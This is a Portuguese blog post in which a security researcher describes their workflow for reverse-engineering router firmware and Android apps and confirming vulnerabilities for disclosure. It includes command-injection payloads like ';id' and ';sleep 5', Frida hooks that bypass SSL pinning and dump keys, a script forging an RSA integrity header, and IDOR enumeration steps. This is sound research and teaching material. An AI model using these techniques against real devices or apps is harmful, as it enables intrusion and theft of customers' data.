Pra firmware de CPE, o caminho que mais funcionou pra mim é o backup de configuração. Quase todo modem residencial tem na interface web uma função tipo "Advanced Settings > Backup". Você baixa um config.bin que, descriptografado com a ferramenta certa pra cada fabricante, revela um XML enorme com a configuração inteira do equipamento. No meio desse XML costuma ter uma seção de update com a URL exata do firmware atual no servidor do operador. Eu nunca vi essa URL exigir autenticação. O binwalk extrai o conteúdo em segundos. Em 2017, quando trabalhei em ISP, eu já via um padrão parecido com os CPEs Huawei da época.

Outra rota é UART. Abre o equipamento, identifica os quatro pinos do header serial (VCC, GND, TX, RX), liga num USB-TTL de quinze reais, abre screen /dev/ttyUSB0 115200 e tem boa chance de cair direto no console do U-Boot. Dali você dumpa a NAND inteira com comando do próprio bootloader. Em CPE residencial brasileiro a senha do U-Boot quase sempre é fraca, default, ou não existe.

Pra APK Android, eu baixo do APKMirror ou do APKPure. Se o app não está em store pública, caso de app interno que precisa estar no celular do funcionário, o caminho é extrair de um aparelho onde ele já está instalado. adb shell pm path com.example.app me diz o caminho do APK no dispositivo, e adb pull traz pra minha máquina.

Pra API web, o vetor quase sempre é o próprio app mobile da empresa. Instalo o app, configuro o proxy, instalo o certificado raiz do proxy no dispositivo, e capturo o tráfego enquanto uso o app normalmente. Na maioria dos casos isso já me dá os endpoints, os formatos de request e os tokens de autenticação. Se o app tem SSL pinning eu uso Frida pra contornar, mas isso é menos comum do que se imagina, principalmente em apps de empresa pequena e média.

Estática primeiro, quase sempre

Análise estática antes da dinâmica, quase sempre. Dinâmica é mais cara em tempo, mais arriscada (você pode brickar equipamento, acionar WAF, ser detectado) e depende de o equipamento estar ligado e funcionando. Estática você faz no seu ritmo, em qualquer máquina, e o resultado é reproduzível.

A exceção é alvo com janela de acesso curta. Equipamento emprestado por um colega que volta a usar em uma semana, ou ambiente de teste que vai ser desmontado. Aí eu inverto a ordem, capturo tudo que der na dinâmica enquanto tenho acesso, e levo o material pra mesa pra analisar com calma depois. Mas é exceção.

Firmware: abrindo a imagem

Depois que o binwalk -eMq imagem.bin cospe um diretório com o filesystem extraído, a primeira coisa que eu rodo são três comandos que dão um mapa do território.

# 1. Quais binários ELF existem, e qual a arquitetura?
find . -type f -exec file {} \; | grep ELF | sort -u

# 2. Quais scripts existem (web, init, config)?
find . \( -name "*.lua" -o -name "*.sh" -o -name "*.lp" \) -print

# 3. Tem credencial em clear text em algum lugar óbvio?
grep -rlE 'BEGIN (RSA |EC |OPENSSH )?PRIVATE KEY' .
grep -rnE 'passwd|secret|hardcode' etc/ 2>/dev/null

Esses três greps já me deram vulnerabilidade explorável em mais de um projeto. Não estou brincando. Eu já abri firmware de equipamento que custa milhares de reais e achei chave privada PEM dentro de /etc/, que abre direto com openssl rsa -in chave.pem -noout -text, sem passphrase nenhuma.

O file no passo 1 quase sempre me responde ARM 32-bit ou MIPS, little ou big endian. Isso decide o resto do dia: define qual toolchain de cross-compile eu vou usar se precisar emular, e qual ABI eu vou ter que ter na cabeça lendo assembly. ARM little-endian AAPCS é o caso mais comum em CPE moderno, então é o que eu vou assumir nos exemplos daqui pra frente.

Com o mapa pronto, eu escolho um binário pra atacar. Geralmente é o daemon principal, o processo que atende a interface web e os pedidos de configuração, ou alguma biblioteca que faz coisa interessante. Qualquer .so com auth, crypto, key ou hardcode no nome ganha minha atenção na hora.

Aí entra o radare2. Tem gente que prefere Ghidra, e o decompiler do Ghidra é melhor, sem discussão. Mas o r2 ganha pra mim em três pontos: é leve, tem o r2pipe (que me deixa scriptar análise em Python), e roda em qualquer máquina sem precisar de Java. Em projeto longo eu uso os dois, r2 pra navegar e Ghidra aberto numa outra tela pro pseudo-C. O ponto de partida, porém, é sempre o r2.

r2 -A bin/cfgd

O -A faz a análise automática. Espera os segundos necessários e você tem todas as funções identificadas, os cross-references montados, as strings indexadas. A primeira coisa que eu olho é a tabela de imports. Eu quero saber o que esse binário sabe fazer.

[0x00000000]> ii~system
ordinal=031 plt=0x00012470 type=FUNC name=system
[0x00000000]> ii~exec
[0x00000000]> ii~popen
[0x00000000]> ii~fork

Repare que só o primeiro grep retornou linha. O binário importa system(), e não importa nenhuma variante de execv/execl/posix_spawn. Isso já me conta o final da história. Se um binário processa entrada do usuário, dispara processos, e a única rota de execução que ele tem é system(), então tudo passa pelo /bin/sh -c. O shell interpreta ;, &&, |, crase, $(). Se a entrada do usuário entrar no comando via snprintf ou strcat, é command injection, ponto.

O daemon que confia na entrada

Num caso recente, e aqui eu preciso ser vago porque é o caso em embargo, o daemon principal de um equipamento de rede tinha dois handlers de diagnóstico vizinhos: um pra ping, outro pra traceroute. Mesmo arquivo, mesmo padrão de código, mesmo tipo de entrada.

Achei os dois pelo cross-reference. axt sym.imp.system lista todo lugar que chama system, e dali eu fui pulando de função em função com s e lendo o disassembly com pdf. O handler de ping era assim (offsets e nomes trocados, mas a forma é exata):

0x0008e1a0  ldr   r7, [r5, 0x1c]      ; r7 <- host, campo cru do POST
0x0008e1a4  mov   r0, r7
0x0008e1a8  bl    sym.chk_host        ; valida o formato do endereço
0x0008e1ac  cmp   r0, 0
0x0008e1b0  beq   0x8e1ec             ; inválido? pula a montagem do comando
0x0008e1b4  ldr   r2, str.ping_fmt    ; "ping %s -c %u -W %u"
0x0008e1b8  mov   r3, r7
0x0008e1bc  bl    sym.imp.snprintf    ; snprintf(buf, 0x100, fmt, host, ...)
0x0008e1c8  mov   r0, r4              ; r4 = buffer com o comando montado
0x0008e1cc  bl    sym.imp.system

O handler de traceroute era byte por byte a mesma coisa, com uma diferença. Não tinha o bl sym.chk_host nem o cmp/beq logo depois. A entrada ia direto do campo do POST pro snprintf, e do snprintf pro system, sem passar por validação nenhuma.

Esse contraste é um dos sinais mais confiáveis que eu conheço. Função gêmea onde uma foi corrigida e a outra ficou pra trás significa que alguém da empresa achou o bug, arrumou num lugar, e esqueceu de aplicar a mesma correção no irmão. O chk_host não nasceu por acaso. Ele foi colado ali depois, num commit de segurança, e o cara que escreveu o commit não procurou os outros pontos com o mesmo padrão.

Quando eu acho um candidato desses, eu rastreio o registrador de trás pra frente até a origem. No caso, r7. De onde ele veio? [r5, 0x1c], um offset de uma struct, e essa struct era a request HTTP parseada. Confirmei seguindo r5 algumas funções acima até bater na rotina que faz o parse dos campos do corpo do POST. Entre o parse e o system, zero validação no caminho do traceroute. Exploit confirmado de forma estática.

Eu gosto de fechar essa convicção rodando o handler isolado antes de chegar perto do equipamento de verdade. qemu-arm-static consegue executar o binário ARM na minha máquina x86. Pra um daemon inteiro raramente funciona de primeira, mas pra exercitar uma função específica costuma bastar. Subo com qemu-arm -g 1234 ./cfgd, conecto o gdb-multiarch na porta 1234, ponho um breakpoint no snprintf e mando o request com host=1.1.1.1;id. Quando o breakpoint bate, eu leio a memória do buffer de destino:

(gdb) x/s $r0
0x7efff3a0:  "ping 1.1.1.1;id -c 1 -W 2"

O comando já está montado, com o meu ;id no meio, esperando o system. Não precisei mandar nada pro equipamento real pra saber que vai executar. A confirmação dinâmica final, contra hardware, eu faço depois, e faço com sleep, não com id, mas isso é assunto de outra seção.

A credencial "encriptada" e a chave que está do lado

Tem uma classe de bug que eu venho vendo repetidas vezes em firmware de CPE e que merece parágrafo próprio: o cofre de credencial "encriptado".

O padrão é esse. O fabricante sabe que credencial em clear text no firmware é vexame, e talvez algum auditor já tenha apontado isso em algum momento. Então ele cria um arquivo binário em /etc/ com as credenciais cifradas em AES-256-CBC. Bonito. Só que, em outro arquivo do mesmo firmware, em clear text, ele deixa a chave mestra usada pra derivar a chave AES. A "derivação" costuma ser uma sequência de operações simples: shift de bytes, concatenação com outra string, um SHA-256 do resultado.

A segurança desse esquema depende da chave mestra estar escondida. Mas ela não está. Está em clear text num arquivo que qualquer um baixa. E o algoritmo de derivação está implementado numa biblioteca compartilhada que também está no firmware e que dá pra reverter.

Num desses, a função de derivação ficava numa .so pequena. O pdf mostrava dois loops e duas chamadas de SHA-256 antes do EVP_DecryptInit_ex. O primeiro loop era assim:

0x00000f70  ldrb  r3, [r6, r2]        ; r6 = chave mestra, r2 = índice
0x00000f74  add   r3, r3, 3           ; desloca o byte em +3
0x00000f78  strb  r3, [r1, r2]        ; grava no buffer derivado
0x00000f7c  add   r2, r2, 1
0x00000f80  cmp   r2, 0x20
0x00000f84  bne   0xf70

Um Caesar de +3 sobre um pedaço de 32 bytes da chave mestra. O segundo loop fazia a mesma coisa com +2 sobre outro pedaço, e logo depois concatenava o resultado com a cauda da string mestra. Cada metade ia pra um SHA256, e os dois digests entravam no EVP_DecryptInit_ex.

Aqui veio a parte que custou tempo, e é a parte que eu queria mostrar. O Ghidra tinha nomeado uma das variáveis locais de iv_local e a outra de key_local, porque mais cedo na função teve um memset que sugeriu esses papéis. Eu reproduzi o algoritmo em Python seguindo esses nomes e o decrypt saiu lixo. Voltei pro disassembly e olhei só o call site do EVP_DecryptInit_ex:

0x00001020  mov   r2, r8             ; r8 -> buffer A   (3o arg = KEY)
0x00001024  mov   r3, r9             ; r9 -> buffer B   (4o arg = IV)
0x00001028  bl    sym.imp.EVP_DecryptInit_ex

O buffer que o decompiler chamou de iv_local era o r8, e r8 vai pro terceiro argumento, que é a chave. Os nomes mentiram. A posição do argumento não. Quando eu inverti os dois no script, o decrypt saiu limpo na primeira tentativa. Lição que eu carrego: o decompiler te dá uma hipótese, não um fato. Quando a hipótese e o dataflow discordam, o dataflow ganha.

O script final tinha menos de cinquenta linhas de pycryptodome e cuspiu o cofre inteiro em clear text. O padrão se repete. Procura arquivo binário pequeno em /etc/ com nome que sugere senha. Procura arquivo de uma linha em clear text do lado. Procura biblioteca com hardcode ou crypto no nome. Quase sempre tem coisa ali.

O cadeado que abre com a chave que estava junto

Ainda no mesmo equipamento, o servidor web tinha um mecanismo de "integridade". Todo POST vinha com um header, vou chamar de Check, e o servidor recusava o request se o header não batesse. Parecia anti-CSRF.

Reverti o httpd e segui a função que lia esse header. A lógica, em pseudo-código depois de eu mapear o disassembly, era essa:

check_integrity(req):
    if (!g_integrity_on)        return OK
    h = http_header(req, "Check")
    if (!h)                     return FAIL
    raw     = base64_decode(h)
    digest  = rsa_private_decrypt(raw, "/etc/keys/priv.pem", passphrase)
    return memcmp(digest, sha256(req.body), 32) == 0

O rsa_private_decrypt carregava a chave de /etc/keys/priv.pem, e a passphrase desse PEM era uma das strings que eu já tinha tirado do cofre da seção anterior. Quer dizer: o cliente assina o corpo do request encriptando o sha256(body) com a chave pública, e o servidor "verifica" decriptando com a privada. As duas chaves estão no firmware. As duas são as mesmas em todo equipamento do modelo. Um mecanismo que parece autenticação é só um par de chaves que o atacante também tem.

A confirmação disso é matemática e não precisa de um único request a mais contra o equipamento. Capturei um POST real do navegador, peguei o header Check, e decriptei com a privada que eu extraí:

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64, hashlib

body  = "campo1=valor1&campo2=valor2&token=abc"
check = "<valor capturado do header Check>"

priv = RSA.import_key(open("priv.pem", "rb").read(),
                      passphrase=PASSPHRASE_EXTRAIDA)

decifrado = PKCS1_v1_5.new(priv).decrypt(base64.b64decode(check), None)
esperado  = hashlib.sha256(body.encode()).hexdigest()

assert decifrado.decode() == esperado, "chave nao bate"
print("a chave do firmware e a chave em producao.")

Bateu. A chave embarcada no firmware é a chave que está rodando em produção, e a partir dela eu forjo o header Check pra qualquer POST que eu quiser mandar contra qualquer equipamento daquele modelo.

O laboratório antes do equipamento real

Quando o exploit é de firmware, tem um passo que poupa dor: reconstruir o equipamento dentro de uma máquina virtual antes de chegar perto do hardware de verdade. O FirmAE tenta isso de forma automática, e quando dá certo é ótimo, mas com CPE de operadora eu quase sempre acabo montando o lab na mão.

A receita é direta na ideia e chata na execução. Pego o rootfs que o binwalk extraiu e subo sob qemu-system-arm, com um kernel e um device tree compatíveis com a arquitetura. O daemon web reclama de meia dúzia de coisas que não existem dentro do QEMU: uma partição de configuração, um nó de /dev específico, o chip de NAND. Eu vou stubando cada uma, um arquivo vazio aqui, um symlink ali, um valor fixo retornado de uma syscall acolá, até ele subir e servir a interface. Não é elegante. Funciona.

A parte que muda o jogo é o outro lado. CPE de operadora não vive sozinho. Ele conversa o tempo todo com o backend do operador: servidor de update, ACS de TR-069, às vezes um endpoint de telemetria. No lab eu subo um lado servidor falso, um punhado de processos meus que respondem nesses papéis, com certificado e chave que eu mesmo gerei. O modem emulado passa a achar que está conectado à operadora, e eu fico no meio, com tcpdump gravando cada pacote dos dois sentidos.

Com isso de pé, eu posso ser destrutivo à vontade. Disparo o command injection com rm, com escrita de arquivo, com payload que reinicia o equipamento, e o pior que pode acontecer é eu reiniciar uma VM. Observo o que o exploit faz de verdade, capturo o tráfego que ele gera, comparo com a captura legítima, e só depois, com o comportamento todo mapeado, é que eu levo a versão mínima e não-destrutiva do PoC pro equipamento real. O lab é o que me deixa separar duas coisas que costumam ser tratadas como uma só: entender o bug, e confirmar o bug sem causar dano. São tarefas diferentes, e merecem ambientes diferentes.

APK: lendo código que mexeram pra não ser lido

Pra Android, a ferramenta que eu uso o tempo todo é o jadx. O jadx-gui é melhor pra navegação inicial, mas engasga feio em APK grande, então pra app de 100 MB pra cima eu uso a CLI desde o começo.

jadx -d jadx_out app.apk

Isso reconstrói o código Java a partir do bytecode Dalvik. Não é o código original. Se o app passou por R8 ou ProGuard, os nomes de classe e de variável vêm mangleados. Mas as strings literais sobrevivem, e os cross-references também, e é com isso que se trabalha.

Os greps que eu rodo logo em seguida miram credencial e endpoint:

cd jadx_out/sources
grep -rnE 'AKIA[0-9A-Z]{16}' .                       # AWS Access Keys
grep -rnE 'AIza[0-9A-Za-z_-]{35}' .                  # chaves Google/Firebase
grep -rnE '(eyJ[A-Za-z0-9_-]+\.){2}[A-Za-z0-9_-]+' . # JWTs embarcados
grep -rnoE 'https?://[a-zA-Z0-9./_-]+' . | sort -u   # endpoints

Num app que eu olhei recentemente, ainda em triagem, o grep de JWT não achou nada, mas o de string genérica caiu numa classe chamada xq2. Classe de uma letra e dois caracteres é assinatura de ProGuard. Abri o smali, porque às vezes o jadx esconde justamente o clinit:

.class public final Lcom/a/b/xq2;
.field public static final p:Ljava/lang/String;

.method static constructor <clinit>()V
    const-string v0, "hs256-chave-de-assinatura-de-exemplo"
    sput-object v0, Lcom/a/b/xq2;->p:Ljava/lang/String;
.end method

Um campo estático com uma string de 40 caracteres. Sozinho não diz nada. O que diz é o cross-reference. Quem lê xq2.p? Uma classe que o jadx decompilou mais ou menos assim:

val key = Keys.hmacShaKeyFor(xq2.p.toByteArray())
val jwt = Jwts.builder()
    .claims(mapOf("user_id" to user.id, "email" to user.email))
    .expiration(Date(now + 86_400_000))
    .signWith(key, Jwts.SIG.HS256)
    .compact()
chatSdk.setUserJwt(jwt)

O app assina, no próprio cliente, um JWT que identifica o usuário pra um SDK de chat de suporte. A chave HMAC é a string que está naquele campo estático. Quer dizer que qualquer um que extrai o APK forja um JWT com user_id arbitrário e entra no chat de suporte fazendo-se passar por qualquer cliente. A verificação de identidade do SDK existe pra evitar exatamente isso, mas só funciona se a chave ficar no servidor. Ela não ficou.

Quando o app é ofuscado a ponto de o jadx não dar conta, ou quando a string que eu quero é montada em runtime e nunca aparece como literal, eu paro de ler estático e instrumento. Frida pra isso é difícil de bater. O hook que eu mais uso é genérico, no construtor do SecretKeySpec, e ele me entrega toda chave simétrica que o app usa, não importa de onde ela veio:

Java.perform(function () {
  const SKS = Java.use('javax.crypto.spec.SecretKeySpec');
  SKS.$init.overload('[B', 'java.lang.String').implementation =
    function (key, alg) {
      console.log('[SecretKeySpec] alg=' + alg +
                  ' key=' + bytesToHex(key));
      return this.$init(key, alg);
    };
});

Roda o app, exercita a tela que te interessa, e o terminal do Frida lista cada chave AES no momento em que ela é instanciada, derivada ou não. Pra SSL pinning a ideia é a mesma, só muda o alvo do hook: o okhttp3.CertificatePinner.check ou o checkServerTrusted do X509TrustManager, forçando retorno limpo. Quando o pinning não cai com hook, eu vou de apktool: decompila o APK, edito o network_security_config.xml pra confiar em CA de usuário, recompilo, assino com chave minha, instalo. Vinte minutos.

Confirmando sem quebrar nada

Análise estática me diz "isso provavelmente é explorável". Análise dinâmica prova. E o disclosure depende dessa prova.

PoC dinâmico tem que ser não-destrutivo. Nunca modifica dado de terceiro, nunca cria persistência, nunca derruba serviço pra outros usuários. Se a vuln é command injection, eu confirmo com sleep N ou id, jamais com rm ou escrita de arquivo. Se é IDOR, leio um único objeto que claramente não é meu, confirmo, e paro. Não enumero. E eu logo tudo. Data, hora, IP de origem, request exato, response exato. O vendor às vezes contesta no dia do disclosure, e nessa hora eu quero o histórico completo na mão.

Pra command injection, time-based é a forma mais limpa. Manda um payload sem injeção, mede o tempo. Manda com ;sleep 5, mede de novo. Se o segundo é uns 5 segundos maior, executou.

import requests, time

def bench(host, n=5):
    ts = []
    for _ in range(n):
        t0 = time.time()
        requests.post(URL, data={"Host": host})
        ts.append(time.time() - t0)
    ts.sort()
    return ts[len(ts) // 2]   # mediana, aguenta outlier

base = bench("1.1.1.1")
inj  = bench("1.1.1.1;sleep 5")
print(f"baseline {base:.2f}s, injetado {inj:.2f}s")

Pra IDOR, o protocolo é simples. Tenho duas contas, A e B. Logado como A, identifico o ID de um objeto que é da B. Logado como A, peço esse objeto. Se vier, IDOR confirmado. Num app que eu olhei, o backend era um .asmx clássico de .NET, e a chamada que carregava o cadastro do cliente recebia o ID dentro de um CDATA:

<GetDadoPessoal>
  <dsXML><![CDATA[
    <data><cdCliente>10231</cdCliente></data>
  ]]></dsXML>
</GetDadoPessoal>

O cdCliente era um sequencial global. Troquei 10231 por 10232 e veio o cadastro de outra pessoa, com nome, documento, telefone, endereço. O servidor autenticava o request, mas não checava se a sessão autenticada tinha direito àquele ID específico. Autenticação sem autorização não é autenticação, é roleta.

Vale registrar um detalhe que eu quase deixei passar nesse mesmo alvo. O endpoint respondia 403 quando o User-Agent era okhttp/4.12.0, o default da lib HTTP do Android. Troquei pra Mozilla/5.0 e veio 200. O WAF estava filtrando a assinatura de cliente automatizado, não o conteúdo do request. A proteção inteira se resumia a "parece um navegador?". WAF que filtra por User-Agent não filtra nada.

Nem toda confirmação é por request HTTP. Em outro app, a vuln era um push do Firebase mal validado. O serviço de mensagens recebia o push, fazia um sendBroadcast, um BroadcastReceiver exportado pegava, e a partir dali subia um foreground service que ligava o GPS. Eu confirmei lendo o logcat enquanto disparava o push:

FirebaseMsg  onMessageReceived data={tipo=corrida, id=...}
LocReceiver  broadcast app.update.pushmessage recebido
ActivityMgr  Background started FGS: LocationService
LocationSvc  requestLocationUpdates PRIORITY_HIGH_ACCURACY 500ms

O logcat é um tracer que já está ligado. Quatro linhas, e dá pra ver a entrada externa atravessar o app inteiro até acionar um sensor. Pra componente exportado, a mesma ideia vale com adb shell am start. Você dispara a Activity de fora, com a Intent que quiser, e lê no logcat o que ela faz. Se uma Activity exportada aceita um file:// na Intent e abre o arquivo, mandar file:///data/data/<pacote>/databases/algo.db e ver no log que ela tentou ler aquele caminho privado é prova suficiente de exposição.

Pra chave RSA extraída de firmware, como mostrei mais atrás, a confirmação é matemática e passiva. Você compara a chave embarcada com uma assinatura capturada do tráfego legítimo, e nem toca no equipamento.

As ferramentas, e por que essas

Pra interceptação HTTP eu uso mitmproxy bem mais que Burp. Burp ganha quando eu preciso de uma cadeia interativa longa, modificando request a request no Repeater. Mitmproxy ganha em captura passiva, em scripting (você escreve addon em Python) e em rodar no terminal, sem GUI, de forma persistente em background enquanto eu uso o app normalmente. Quando eu quero olhar request específico, o mitmweb me dá a interface.

Pra emular binário ARM ou MIPS quando o equipamento real não está na mão, qemu-user-static resolve os casos simples, utilitário standalone e função isolada, e o FirmAE tenta o firmware inteiro. FirmAE não é mágica e falha em mais da metade dos firmwares que eu testo, mas quando funciona economiza dias.

O resto da bancada não muda muito de projeto pra projeto. Radare2 com r2pipe e Ghidra pra estática de binário. Binwalk e unblob pra extrair filesystem. Jadx e apktool pro lado Android, mais hermes-dec quando o app é React Native com bundle Hermes. Openssl e pycryptodome pra reproduzir cripto custom. Frida pra hook em runtime. Ffuf quando preciso de fuzzing rápido de parâmetro. A linguagem de cola é Python, com Go raríssimo quando performance importa de verdade. C eu só leio, nunca escrevo.

Três cadeias

As CVEs de que eu mais gosto raramente são bug isolado. São cadeias. A vulnerabilidade A sozinha é Medium, a B sozinha é Low, e A mais B é RCE remoto sem autenticação. É o tipo de coisa que mostra que o pesquisador entendeu o sistema, e não só rodou um grep com sorte.

Sei que tem gente que vai discordar. Bug bounty costuma pagar melhor por uma critical isolada do que por uma chain explicada, e tem analista que prefere submeter as vulns separadas pra maximizar payout. Não é errado. Pra disclosure responsável e pra portfólio técnico, a cadeia conta mais. Pra programa de bounty com payout escalonado, talvez não. Vou descrever três, com identificadores trocados, só pra mostrar a forma do raciocínio.

Do APK ao banco de clientes. App interno de técnico de campo, distribuído publicamente na loja. Baixo, rodo jadx. Numa classe central acho dois métodos curtos que retornam usuário e senha de um Basic Auth da API. Monto o header e bato num endpoint qualquer de health: 200. A credencial está viva em produção. Testo o endpoint de login do app com usuário e senha inventados, e ele responde {"Valido":true}. Testo com strings vazias, mesma resposta. O login do app é teatro. Aí eu chego no que importa: um endpoint que lista os atendimentos de um técnico, recebendo o ID do técnico na URL, e cada atendimento traz nome completo do cliente, documento, endereço, e credencial de rede. Itero o ID de 1 a 1000, sem rate limit, sem detecção de anomalia. Cada passo é uma vuln conhecida, credencial embarcada, autenticação quebrada, IDOR, falta de rate limit. O impacto real só aparece quando você encadeia, e você só encadeia se trata cada resposta como pista pra próxima requisição.

Reset de senha sem autenticação. App de cliente final, React Native com bundle Hermes. Bytecode Hermes é mais chato que Java, mas decompila com hermes-dec, e a tabela de strings já me entregou a URL base da API. Capturo no mitmproxy o fluxo de "esqueci minha senha" e vejo um POST simples com o documento do usuário no corpo, sem token, sem nonce, sem captcha. Testo com o meu próprio documento e recebo um SMS na hora com senha nova, a antiga invalidada. Testo com um documento aleatório válido e a resposta é diferente de quando o documento não existe, o que transforma o endpoint num oráculo de enumeração. A cadeia completa é enumerar, resetar a senha do alvo, e quem tiver como ler o SMS do alvo toma a conta. Quem não tiver, pelo menos derruba o acesso da vítima. PoC só contra a minha própria conta. Não enumerei terceiros.

Do firmware ao MitM da operadora. Essa é a que está em embargo, então vai em prosa e sem identificar nada. Modem GPON de fabricante grande, mesmo firmware em milhões de assinantes. Comecei pelo config.bin do meu equipamento, descriptografado, e o XML expôs a URL HTTP do firmware no servidor da operadora, sem TLS e sem autenticação. Binwalk, e o filesystem inteiro estava na minha frente. As seções acima são todas desse caso: o cofre de credencial cifrado com a chave que estava do lado, o par de chaves RSA do "anti-CSRF". Junte a isso uma chave privada de TLS que abre com uma passphrase do cofre, e um certificado servidor que é o mesmo em todo equipamento do modelo. Com posicionamento de rede adequado, dá pra fazer MitM de TLS contra qualquer assinante, porque o navegador da vítima confia no certificado que também é o do roteador dela. Some o command injection do diagnóstico, e a cadeia fecha em shell root no equipamento de qualquer cliente. Cada peça dessa eu achei numa sessão diferente, em semanas diferentes, e foi só montando o quebra-cabeça que a gravidade apareceu. Sai detalhado em julho.

O tempo, que é o recurso de verdade

Eu tenho família, trabalho com gestão de vulnerabilidade de dia, e faço pesquisa nessas brechas e nas madrugadas. Tempo de pesquisa compete direto com tempo de família e com sono. Não tem como romantizar isso. O que eu tenho é um workflow apertado, escrito ao longo dos meses na base de descobrir o que funciona.

A primeira sessão, de duas a três horas, é aquisição e mapa do território. Baixar o firmware ou o APK, extrair, rodar os greps iniciais, identificar os pontos quentes. No fim dela eu já tenho uma lista priorizada do que olhar.

As sessões seguintes são análise estática profunda, cada uma focada num binário ou num conjunto de arquivos relacionados. Aqui eu uso o método de "deixa pro próximo". No fim de cada sessão eu escrevo, num notes.md, exatamente onde parei e o que eu ia olhar a seguir. Sem isso eu perderia meia hora no início de cada sessão tentando lembrar o contexto. Esse arquivo foi o meu maior ganho de produtividade dos últimos dois anos, e não é exagero. Quando você só tem noventa minutos por noite, perder trinta deles pra se reorientar é insustentável. Boa parte do trabalho braçal dessa fase, listar componente exportado, marcar o que precisa de confirmação dinâmica, eu hoje deixo num pipeline meu de triagem, que faz a primeira varredura e me entrega o mapa pronto pra eu decidir onde cavar.

As sessões de confirmação dinâmica vêm só depois que eu tenho boa convicção estática. Setup do ambiente, testes mínimos, PoC documentado. A redação do report é uma sessão à parte, porque eu não consigo redigir bem alternando com análise. Boto música, abro o template, escrevo do começo ao fim. O ciclo completo de uma vulnerabilidade não-trivial fica entre 20 e 60 horas pra mim. Cadeia grande passa fácil de 100.

Onde isso vai

Tem um caso meu em embargo que vai render bastante quando puder sair, são 9 CVEs reportadas mas apenas 4 o vendor confirmou. Endereços, disassembly, payload, scripts de PoC, e o timeline inteiro do disclosure. É material denso o suficiente pra virar uma série, não só um post, e eu volto aqui pra escrever quando o embargo cair.

Por enquanto, se você está começando agora em engenharia reversa, o conselho é direto. Pega um equipamento que você já tem em casa, o roteador da operadora, uma câmera IP, uma smart TV (quanto 'menor' a marca, melhor). Abre o firmware. Faz os três greps. Você vai achar coisa. Toda vez.

Se quiser trocar ideia sobre algum projeto, ou tem dúvida específica de workflow, me chama no Discord, @privescalation.

Até a próxima =)

t1m3